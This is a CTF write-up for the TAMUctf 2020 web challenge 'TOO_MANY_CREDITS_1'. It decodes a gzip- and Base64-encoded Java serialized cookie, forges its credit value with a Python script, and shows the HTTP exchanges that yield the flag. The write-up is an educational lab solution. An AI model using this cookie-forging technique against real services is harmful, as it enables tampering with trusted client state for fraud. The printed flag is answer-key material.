# TAMUctf 2020 – TOO_MANY_CREDITS_1

* **Category:** web  
* **Points:** 50

## Challenge

> Okay, fine, there's a lot of credit systems. We had to put that guy on
> break; seriously concerned about that dude.  
>  
> Anywho. We've made an actually secure one now, with Java, not dirty JS this
> time. Give it a whack?  
>  
> If you get two thousand million credits again, well, we'll just have to shut
> this program down.  
>  
> http://toomanycredits.tamuctf.com

## Solution

The website allows you to increment your credits, but you have to get two
thousand million credits (or more) in order to get the flag. Obviously, the
credit generation can't be bruteforced/automated, because automation
countermeasures are in place.

Credits are incremented via HTTP GET.

```  
GET / HTTP/1.1  
Host: toomanycredits.tamuctf.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101
Firefox/74.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://toomanycredits.tamuctf.com/  
Cookie:
counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="  
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK  
Server: nginx/1.16.1  
Date: Fri, 20 Mar 2020 12:11:23 GMT  
Content-Type: text/html;charset=UTF-8  
Content-Length: 454  
Connection: close  
Set-Cookie:
counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==";
Version=1; HttpOnly  
Content-Language: it-IT

<html lang="en">  
<head>  
<meta charset="utf-8" />  
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-
fit=no" />

<title>Java Credits</title>  
</head>

<body>

<main role="main">

<form>  
<h2>  
<span>You have 2 credits.</span>  
<span> You haven't won yet...</span>  
</h2>  
<button type="submit">Get More</button>  
</form>

</main>  
</body>  
</html>  
```

There is a strange cookie, called `counter`, and it seems to be strangely
encoded. Analyzing several requests, you can discover that only the last part
changes.

```  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAKwCppy9lUgAAAA==  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAGwAT9ib8UgAAAA==  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAOwCFxiGLUgAAAA==  
............................................................................................^^^^^^^^........  
```

The text says that they are using Java and the Spring logo is present in the
favicon.

Furthermore, removing the last part of the cookie will spawn an interesting
error.

```  
GET / HTTP/1.1  
Host: toomanycredits.tamuctf.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101
Firefox/74.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://toomanycredits.tamuctf.com/  
Cookie: counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/"  
Upgrade-Insecure-Requests: 1

HTTP/1.1 500 Internal Server Error  
Server: nginx/1.16.1  
Date: Fri, 20 Mar 2020 14:20:46 GMT  
Content-Type: text/html;charset=UTF-8  
Content-Length: 333  
Connection: close  
Content-Language: it-IT

<html><body><h1>Whitelabel Error Page</h1>

This application has no explicit mapping for /error, so you are seeing this as
a fallback.

<div id='created'>Fri Mar 20 14:20:46 GMT 2020</div><div>There was an
unexpected error (type=Internal Server Error,
status=500).</div><div>Unexpected end of ZLIB input stream</div></body></html>  
```

This seems to be a Java serialized object (compressed with GZip and encoded in
Base64). So you can write a [Python
script](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/TAMUctf%202020/TOO_MANY_CREDITS_1/too-many-
credits-1-solver.py) to discover how the original object is formed.

```  
H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x01'

H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x02'

H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAKwCppy9lUgAAAA==  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x05'

H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAGwAT9ib8UgAAAA==  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x06'

H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAOwCFxiGLUgAAAA==  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x07'  
```

The `value` attribute is at the end as we supposed, so a malicuous payload can
easily crafted, e.g.:

```  
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\xff\xff\xff\xff'  
```

Using the [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/TAMUctf%202020/TOO_MANY_CREDITS_1/too-many-
credits-1-solver.py) you can craft the cookie.

```  
[*] Malicious string is:
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\xff\xff\xff\xff'  
[*] Compressed malicious bytes are:
b'\x1f\x8b\x08\x00\x0c\xe6t^\x02\xff[\xf3\x96\x81\xb5\xb8\x88A79?W/\xb9(5%\xb3\xa4\x18\x83\xce\xcdOI\xcd\xd1s\x06\xf3\x9c\xf3K\xf3J\x8c8o\x0b\x89p\xaa\xb8310z1\xb0\x96%\xe6\x94\xa6V\x140\x00\xc1\x7f
\x00\x00\xc5s\xfe\xcbR\x00\x00\x00'  
[*] Base64 compressed malicious string is:
H4sIAAzmdF4C/1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMADBfyAAAMVz/stSAAAA  
```

A [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-
Writeups/master/TAMUctf%202020/TOO_MANY_CREDITS_1/too-many-
credits-1-solver.py) can be developed to perform all the reported operations.

```python  
import gzip  
import base64

base64_compressed_strings = [  
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA==",  
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAEwAKMkv7UgAAAA==",  
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAKwCppy9lUgAAAA==",  
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAGwAT9ib8UgAAAA==",  
"H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAOwCFxiGLUgAAAA=="  
]

for base64_compressed_string in base64_compressed_strings:  
print("[*] Base64 compressed string is: {}".format(base64_compressed_string))

compressed_bytes = base64.b64decode(base64_compressed_string)  
print("[*] Compressed bytes are: {}".format(compressed_bytes))

original_string = gzip.decompress(compressed_bytes)  
print("[*] Original bytes are: {}".format(original_string))  
  
print()

print(" -------\n")

malicious_string =
b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\xff\xff\xff\xff'  
print("[*] Malicious string is: {}".format(malicious_string))

compressed_malicious_bytes = gzip.compress(malicious_string)  
print("[*] Compressed malicious bytes are:
{}".format(compressed_malicious_bytes))

base64_compressed_malicious_string =
base64.b64encode(compressed_malicious_bytes).decode("ascii")

print("[*] Base64 compressed malicious string is:
{}".format(base64_compressed_malicious_string))  
```

And then performing the request you will get the flag.

```  
GET / HTTP/1.1  
Host: toomanycredits.tamuctf.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101
Firefox/74.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://toomanycredits.tamuctf.com/  
Cookie:
counter="H4sIAAzmdF4C/1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMADBfyAAAMVz/stSAAAA"  
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK  
Server: nginx/1.16.1  
Date: Fri, 20 Mar 2020 15:49:46 GMT  
Content-Type: text/html;charset=UTF-8  
Content-Length: 470  
Connection: close  
Set-Cookie:
counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMDAwMAIxAwCWeiUoUgAAAA==";
Version=1; HttpOnly  
Content-Language: it-IT

<html lang="en">  
<head>  
<meta charset="utf-8" />  
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-
fit=no" />

<title>Java Credits</title>  
</head>

<body>

<main role="main">

<form>  
<h2>  
<span>You have 4294967296 credits.</span>  
<span> gigem{l0rdy_th15_1s_mAny_cr3d1ts}</span>  
</h2>  
<button type="submit">Get More</button>  
</form>

</main>  
</body>  
</html>  
```

The flag is the following.

```  
gigem{l0rdy_th15_1s_mAny_cr3d1ts}  
```

Original writeup (https://github.com/m3ssap0/CTF-
Writeups/blob/master/TAMUctf%202020/TOO_MANY_CREDITS_1/README.md).